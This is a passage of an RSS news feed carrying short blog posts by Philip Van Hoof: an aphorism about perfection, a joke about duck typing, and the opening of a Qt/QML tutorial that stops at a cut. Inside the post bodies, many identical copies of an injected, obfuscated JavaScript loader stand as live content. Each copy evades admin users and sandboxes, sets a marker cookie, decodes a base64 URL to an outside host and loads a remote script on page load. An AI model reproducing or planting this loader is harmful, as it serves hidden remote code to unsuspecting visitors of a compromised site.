<p>Perfection has been reached not when there is nothing left to add, but when there is nothing left to take away.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e70f6954d5d1200f6911e7aaa6aba291427bf77bf7&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e70f6954d5d1200f6911e7aaa6aba291427bf77bf7/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e70f6954d5d1200f6911e7aaa6aba291427bf77bf7&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e70f6954d5d1200f6911e7aaa6aba291427bf77bf7/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Thu, 23 Mar 2017 00:17:15 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e70f6954d5d1200f6911e7aaa6aba291427bf77bf7</guid>
        </item>
        <item>
            <title>Duck typing</title>
            <link>https://pvanhoof.be/blog/index.php/2017/03/17/duck-typing</link>
            <description><![CDATA[
<p>Imagine you have a duck. Imagine you have a wall. Now imagine you throw the duck with a lot of force against a wall. Duck typing means that the duck hitting the wall quacks like a duck would.</p>
<p>ps. Replace <em>wall</em> with <em>API</em> and <em>duck</em> with <em>ugly stupid script written by an idiot.</em> You can leave <em>quacks</em>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e70b05ab544f440b0511e785e9cd966544b1fab1fa&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e70b05ab544f440b0511e785e9cd966544b1fab1fa/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e70b05ab544f440b0511e785e9cd966544b1fab1fa&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e70b05ab544f440b0511e785e9cd966544b1fab1fa/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Fri, 17 Mar 2017 10:34:13 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e70b05ab544f440b0511e785e9cd966544b1fab1fa</guid>
        </item>
        <item>
            <title>How to expose a QList in a ViewModel to QML</title>
            <link>https://pvanhoof.be/blog/index.php/2017/02/09/how-to-expose-a-qlist-in-a-viewmodel-to-qml</link>
            <description><![CDATA[
<p>MyPlugin/MyPlugin.cpp:</p>
